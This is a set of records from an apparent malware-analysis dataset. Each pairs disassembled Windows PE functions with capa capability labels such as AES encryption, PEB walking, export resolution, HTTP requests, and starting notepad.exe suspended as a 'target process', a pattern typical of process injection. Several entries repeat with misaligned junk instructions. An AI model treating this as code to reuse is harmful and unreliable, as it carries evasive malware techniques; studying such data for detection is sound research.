joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400022c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000aae0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000233d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002334
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022e0
add rax, 0x28
cmp rax, r9
jne 0x140002320
xor eax, eax
ret

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000aae0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002368
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000235f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000aae0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000241f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002428
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140008120
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor edi, edi
mov rsi, rcx
mov rbx, rdx
mov rbp, r8
test r8, r8
je 0x140008181
nop dword [rax + rax]
mov rdx, rsi
mov rcx, rbx
movdqu xmm0, xmmword [rbx]
call fcn.1400088c0
xor eax, eax
nop dword [rax]
movzx edx, byte [rsi + rax + 0xb0]
xor byte [rbx + rax], dl
add rax, 1
cmp rax, 0x10
jne 0x140008158
add rdi, 0x10
movups xmmword [rsi + 0xb0], xmm0
add rbx, 0x10
cmp rdi, rbp
jb 0x140008140
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400085d0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rsi
push rbx
mov rax, rcx
lea r10, [rdx + 0x10]
mov r8, rcx
movzx r9d, byte [rdx]
add rdx, 4
add r8, 4
mov byte [r8 - 4], r9b
movzx r9d, byte [rdx - 3]
mov byte [r8 - 3], r9b
movzx r9d, byte [rdx - 2]
mov byte [r8 - 2], r9b
movzx r9d, byte [rdx - 1]
mov byte [r8 - 1], r9b
cmp r10, rdx
jne 0x1400085dc
movzx r10d, byte [rcx + 0xf]
movzx r9d, byte [rcx + 0xe]
lea r11, str.cw
lea rsi, [0x14000ac70]
movzx r8d, byte [rcx + 0xd]
movzx edx, byte [rcx + 0xc]
mov ecx, 4
nop word [rax + rax]
test cl, 3
jne 0x14000866a
movzx r8d, r8b
movzx r9d, r9b
movzx r10d, r10b
movzx edx, dl
movzx ebx, byte [r11 + r8]
movzx r8d, byte [r11 + r9]
movzx r9d, byte [r11 + r10]
movzx r10d, byte [r11 + rdx]
mov edx, ecx
shr edx, 2
xor bl, byte [rsi + rdx]
mov edx, ebx
xor dl, byte [rax]
xor r8b, byte [rax + 1]
add ecx, 1
add rax, 4
xor r9b, byte [rax - 2]
xor r10b, byte [rax - 1]
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], r8b
mov byte [rax + 0xe], r9b
mov byte [rax + 0xf], r10b
cmp ecx, 0x2c
jne 0x140008638
pop rbx
pop rsi
ret
Function at 0x1400086a0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
xor r10d, r10d
lea rsi, [rcx + 4]
mov r8, rcx
mov rdi, rdx
mov r9, rsi
lea rax, [r9 - 4]
lea rdx, [r10 + rdi]
movzx ecx, byte [rdx]
xor byte [rax], cl
add rax, 1
add rdx, 1
cmp rax, r9
jne 0x1400086c4
add r10, 4
lea r9, [rax + 4]
cmp r10, 0x10
jne 0x1400086bc
lea r11, [rdi + 0x10]
lea rbp, [rdi + 0xa0]
lea rbx, [r8 + 0x10]
lea r10, [r8 + 0x14]
lea r9, str.cw
nop
mov rcx, rbx
lea rax, [rcx - 0x10]
movzx edx, byte [rax]
add rax, 4
movzx edx, byte [r9 + rdx]
mov byte [rax - 4], dl
cmp rax, rcx
jne 0x140008707
lea rcx, [rax + 1]
cmp r10, rcx
jne 0x140008703
movzx edx, byte [r8 + 2]
movzx eax, byte [r8 + 0xd]
movzx ecx, byte [r8 + 0xa]
movzx r12d, byte [r8 + 1]
mov ah, dl
movzx edx, byte [r8 + 5]
movzx r15d, byte [r8 + 9]
mov word [r8 + 9], ax
movzx eax, r12b
mov dh, cl
movzx ecx, byte [r8 + 0xe]
mov word [r8 + 1], dx
movzx edx, byte [r8 + 6]
mov ah, dl
movzx edx, r15b
mov dh, cl
mov word [r8 + 0xd], ax
movzx eax, byte [r8 + 3]
mov word [r8 + 5], dx
movzx edx, byte [r8 + 0xf]
mov byte [r8 + 3], dl
movzx edx, byte [r8 + 0xb]
mov byte [r8 + 0xf], dl
movzx edx, byte [r8 + 7]
mov byte [r8 + 7], al
mov byte [r8 + 0xb], dl
cmp r11, rbp
je 0x140008883
mov rax, r8
movzx edx, byte [rax]
movzx r14d, byte [rax + 1]
add rax, 4
movzx r13d, byte [rax - 2]
xor r13b, byte [rax - 1]
xor r14d, edx
mov r15d, edx
xor dl, byte [rax - 1]
mov ecx, r14d
mov r12d, r14d
add r14d, r14d
shr cl, 7
xor r12d, r13d
lea ecx, [rcx + rcx*2]
xor r15d, r12d
lea ecx, [rcx + rcx*8]
xor ecx, r15d
movzx r15d, byte [rax - 3]
xor r14d, ecx
mov byte [rax - 4], r14b
movzx r14d, byte [rax - 3]
xor r15d, r12d
xor r14b, byte [rax - 2]
mov ecx, r14d
add r14d, r14d
shr cl, 7
lea ecx, [rcx + rcx*2]
lea ecx, [rcx + rcx*8]
xor ecx, r15d
xor r14d, ecx
mov ecx, r13d
add r13d, r13d
mov byte [rax - 3], r14b
shr cl, 7
movzx r14d, byte [rax - 2]
lea ecx, [rcx + rcx*2]
xor r14d, r12d
lea ecx, [rcx + rcx*8]
xor r12b, byte [rax - 1]
xor ecx, r14d
xor r13d, ecx
mov ecx, edx
add edx, edx
shr cl, 7
mov byte [rax - 2], r13b
lea ecx, [rcx + rcx*2]
lea ecx, [rcx + rcx*8]
xor ecx, r12d
xor edx, ecx
mov byte [rax - 1], dl
cmp rax, rbx
jne 0x1400087a0
mov r12, rsi
mov r13, r11
lea rax, [r12 - 4]
mov rdx, r13
movzx ecx, byte [rdx]
xor byte [rax], cl
add rax, 1
add rdx, 1
cmp rax, r12
jne 0x14000885b
lea r12, [rax + 4]
add r13, 4
cmp r10, r12
jne 0x140008853
add r11, 0x10
jmp 0x140008700
add rdi, 0xb0
lea rax, [rsi - 4]
mov rdx, r11
movzx ecx, byte [rdx]
xor byte [rax], cl
add rax, 1
add rdx, 1
cmp rsi, rax
jne 0x140008891
add r11, 4
add rsi, 4
cmp rdi, r11
jne 0x14000888a
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140008c10
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rdi
sub rsp, 0xe0
call fcn.1400015f0
lea rdi, [rsp + 0x78]
xor eax, eax
pxor xmm0, xmm0
mov ecx, 0xc
lea rdx, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x74], 0
mov qword [rsp + 0xd0], 0
rep stosq qword [rdi], rax
lea rax, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
lea rcx, str.C:WindowsSystem32_notepad.exe
mov qword [rsp + 0x40], rdx
xor edx, edx
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [rsp + 0x60]
lea rcx, str.____PID:__d__Created_target_process_n
call fcn.140008330
call fcn.140008380
call fcn.140007e70
mov rcx, qword [rsp + 0x50]
mov edx, 0x1f4
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [0x14000ac50]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rax]
mov rax, qword [0x14000ac60]
mov r8, qword [rax]
call fcn.140007c50
mov rcx, qword [rsp + 0x58]
mov rdx, rax
call fcn.140007f40
xor eax, eax
add rsp, 0xe0
pop rdi
ret
Function at 0x180005d8c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x158
lea rax, [0x18008df75]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
call fcn.180006550
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x2c]
mov eax, eax
mov qword [rsp + 0xe8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0xe8]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x5c]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0xf0], rax
mov r8d, 0x104
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [rsp + 0xf0]
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x1c]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x78]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x54]
movzx ecx, cx
cmp eax, ecx
je 0x180005e87
mov eax, dword [rsp + 0x50]
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
mov word [rdx + rax*2], cx
mov eax, dword [rsp + 0x50]
dec eax
mov dword [rsp + 0x50], eax
jmp 0x180005e4c
mov dword [rsp + 0x60], 0
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0xc0]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x180005ed7
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0xc0]
movsx ax, byte [rcx + rax]
mov ecx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov word [rdx + rcx*2], ax
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
jmp 0x180005e8f
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x50]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x3c]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
Function at 0x180005f20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [rax + 0x34]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 1
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 8]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0xf8]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x18]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0x100], rax
xor edx, edx
mov rcx, qword [rsp + 0xc8]
add bh, bh
xchg esp, eax
and al, 0
add dword [rax], eax
add byte [rcx + 0x48682444], cl
mov eax, dword [rsp + 0x40]
mov eax, dword [rax + 4]
cmp dword [rsp + 0x68], eax
jne 0x180005fb2
xor edx, edx
mov eax, dword [rsp + 0x9c]
div dword [rsp + 0x68]
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x44]
mov rdx, qword [rsp + 0x80]
add byte [rax], al
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x88], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0x108]
test eax, eax
jne 0x180006029
jmp 0x1800063b7
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
add rcx, rax

Function at 0x180005f84
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [rax + 0x34]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 1
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 8]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0xf8]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x18]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0x100], rax
xor edx, edx
mov rcx, qword [rsp + 0xc8]
add bh, bh
xchg esp, eax
and al, 0
add dword [rax], eax
add byte [rcx + 0x48682444], cl
mov eax, dword [rsp + 0x40]
mov eax, dword [rax + 4]
cmp dword [rsp + 0x68], eax
jne 0x180005fb2
xor edx, edx
mov eax, dword [rsp + 0x9c]
div dword [rsp + 0x68]
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x44]
mov rdx, qword [rsp + 0x80]
add byte [rax], al
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x88], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0x108]
test eax, eax
jne 0x180006029
jmp 0x1800063b7
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
add rcx, rax
Function at 0x180005fd4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [rax + 0x34]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 1
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 8]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0xf8]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x18]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0x100], rax
xor edx, edx
mov rcx, qword [rsp + 0xc8]
add bh, bh
xchg esp, eax
and al, 0
add dword [rax], eax
add byte [rcx + 0x48682444], cl
mov eax, dword [rsp + 0x40]
mov eax, dword [rax + 4]
cmp dword [rsp + 0x68], eax
jne 0x180005fb2
xor edx, edx
mov eax, dword [rsp + 0x9c]
div dword [rsp + 0x68]
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x30]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x44]
mov rdx, qword [rsp + 0x80]
add byte [rax], al
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
call fcn.180006434
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x88], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0x108]
test eax, eax
jne 0x180006029
jmp 0x1800063b7
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
add rcx, rax

Function at 0x180006434
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*8 + 0x88]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x1800064e0
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x180006548
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x88]
call fcn.1800063c0
cmp eax, dword [rsp + 0x80]
jne 0x180006546
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
jmp 0x18000654a
jmp 0x1800064d6
xor eax, eax
add rsp, 0x68
ret
Function at 0x180006550
Capabilities:
Access peb ldr_data

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov rax, qword gs:[0x60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
add rax, 0x10
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x20], rax
je 0x1800065dd
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0x60]
call fcn.180005ce8
cmp dword [rsp + 0x60], eax
jne 0x1800065ce
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
jmp 0x1800065df
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
jmp 0x180006599
xor eax, eax
add rsp, 0x58
ret
Function at 0x18001a090
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x18008f230]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rbp, [0x18008d218]
mov rdi, rax
test rax, rax
jne 0x18001a103
call fcn.180035b20
mov esi, eax
mov rcx, qword [0x18008d218]
cmp rcx, rbp
je 0x18001a0ff
test byte [rcx + 0x1c], 1
je 0x18001a0ff
mov rcx, qword [rcx + 0x10]
lea edx, [rdi + 0xa]
mov r9d, eax
lea r8, [0x1800786d0]
call fcn.180001330
xor edi, edi
jmp 0x18001a105
xor esi, esi
test esi, esi
js 0x18001a1ec
xor ebx, ebx
lea rdx, str.wscsvc
mov rcx, rdi
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
jne 0x18001a166
call fcn.180035b20
mov esi, eax
mov rcx, qword [0x18008d218]
cmp rcx, rbp
je 0x18001a170
test byte [rcx + 0x1c], 1
je 0x18001a170
mov rcx, qword [rcx + 0x10]
lea edx, [rbx + 0xb]
lea r9, str.wscsvc
mov dword [rsp + 0x20], eax
lea r8, [0x1800786d0]
call fcn.1800013c4
jmp 0x18001a170
mov rbx, rax
mov qword [rsp + 0x30], rax
xor esi, esi
test esi, esi
js 0x18001a1de
xor ebp, ebp
lfence
mov rbx, qword [rsp + 0x30]
test rbp, rbp
je 0x18001a18e
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea rdx, [rsp + 0x38]
xorps xmm0, xmm0
mov qword [rsp + 0x48], rax
mov rcx, rbx
mov dword [rsp + 0x50], eax
movups xmmword [rsp + 0x38], xmm0
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x18001a1bf
mov rcx, rbx
call fcn.180039824
mov esi, eax
jmp 0x18001a1c1
xor esi, esi
test esi, esi
js 0x18001a1de
cmp dword [rsp + 0x3c], 4
je 0x18001a1dc
inc rbp
mov esi, 1
cmp rbp, 5
jb 0x18001a17e
jmp 0x18001a1de
xor esi, esi
test rbx, rbx
je 0x18001a1ec
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rdi, rdi
je 0x18001a1fa
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180040cc0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1800208f8
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x18002095a
call fcn.180035b20
mov ebx, eax
mov rcx, qword [0x18008d218]
lea rax, [0x18008d218]
cmp rcx, rax
je 0x18002095a
test byte [rcx + 0x1c], 1
je 0x18002095a
mov rcx, qword [rcx + 0x10]
lea r8, [0x1800734a8]
mov edx, 0x23
mov dword [rsp + 0x28], ebx
mov r9, rsi
mov qword [rsp + 0x20], rdi
call fcn.18001f938
mov rsi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180025388
Capabilities:
Prepare http request

Disassembly:
mov r11, rsp
push rsi
push rdi
push r14
sub rsp, 0xa0
mov qword [r11 - 0x78], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov rax, qword [0x18008f230]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbp, rcx
lea r9, [rcx + 0x80]
mov r8d, 4
lea rdx, [r11 - 0x48]
call fcn.18002bd58
nop
mov r14, qword [rbp + 0x50]
mov qword [rsp + 0x48], r14
test r14, r14
je 0x1800253fc
mov rax, qword [r14 + 0x38]
movsxd rcx, dword [rax + 4]
add rcx, 0x38
add rcx, r14
mov rax, qword [rcx]
mov rax, qword [rax]
call qword [case.0x180062b2e.0]
nop
test r14, r14
je 0x180025523
mov rcx, rbp
call fcn.180027194
mov edi, eax
mov dword [rbp + 0xb0], eax
lea rsi, [rsp + 0x70]
cmp qword [rsp + 0x88], 8
cmovae rsi, qword [rsp + 0x70]
mov rbx, qword [rbp + 0x78]
mov rcx, qword [r14]
mov rax, qword [rcx + 8]
mov rcx, r14
call qword [case.0x180062b2e.0]
mov dword [rsp + 0x30], edi
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
test rax, rax
je 0x1800254bf
mov rdx, rax
mov rcx, rbp
call fcn.18002afe4
nop
mov rax, qword [r14 + 0x38]
movsxd rcx, dword [rax + 4]
add rcx, 0x38
add rcx, r14
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x180062b2e.0]
nop
lea rcx, [rsp + 0x70]
call fcn.180005f20
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.180040cc0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ebx, eax
lea rdx, [0x18008d218]
mov rcx, qword [0x18008d218]
cmp rcx, rdx
je 0x1800254f9
test byte [rcx + 0x1c], 1
je 0x1800254f9
mov edx, 0xf
mov r9d, eax
lea r8, [0x180073ab8]
mov rcx, qword [rcx + 0x10]
call fcn.180001330
movzx edx, bx
or edx, 0x80070000
test ebx, ebx
cmovle edx, ebx
lea rcx, [rsp + 0x50]
call fcn.18003b9b4
lea rdx, [0x180089f50]
lea rcx, [rsp + 0x50]
call fcn.1800425b8
int3
lea rdx, [0x18008d218]
mov rcx, qword [0x18008d218]
cmp rcx, rdx
je 0x180025551
test byte [rcx + 0x1c], 1
je 0x180025551
mov edx, 0x10
lea r8, [0x180073ab8]
mov rcx, qword [rcx + 0x10]
call fcn.180001310
mov edx, 0x80004005
lea rcx, [rsp + 0x50]
call fcn.18003b9b4
lea rdx, [0x180089f50]
lea rcx, [rsp + 0x50]
call fcn.1800425b8
int3

Function at 0x180025580
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rdx
mov rdi, rcx
mov rax, qword [rax + 0xd8]
call qword [case.0x180062b2e.0]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.180025764
Function at 0x180025ee0
Capabilities:
Check for time delay via queryperformancecounter
Receive http response

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rdi + 0x48]
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea rcx, [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.180039670
mov dword [rdi + 0xbc], eax
test ebx, ebx
je 0x180025f52
mov rax, qword [rdi]
mov rcx, rdi
mov dword [rdi + 0xa4], 1
mov rax, qword [rax + 0x80]
call qword [case.0x180062b2e.0]
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x18008d218]
lea rax, [0x18008d218]
cmp rcx, rax
je 0x180025f8b
test byte [rcx + 0x1c], 1
je 0x180025f8b
mov rcx, qword [rcx + 0x10]
lea r8, [0x180073ab8]
mov edx, 0x1b
mov r9d, ebx
call fcn.180001330
movzx edx, bx
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test ebx, ebx
cmovle edx, ebx
call fcn.18003b9b4
lea rdx, [0x180089f50]
lea rcx, [rsp + 0x20]
call fcn.1800425b8
int3

Function at 0x180025fc0
Capabilities:
Read http header

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x50
cmp dword [rcx + 0xa4], 0
je 0x18002600f
and qword [rax - 0x30], 0
lea r9, [rsp + 0x60]
and dword [rax + 8], 0
xor r8d, r8d
mov rcx, qword [rcx + 0x48]
mov edx, 0x20000013
mov dword [rax + 0x10], 4
lea rax, [rax + 0x10]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x18002605e
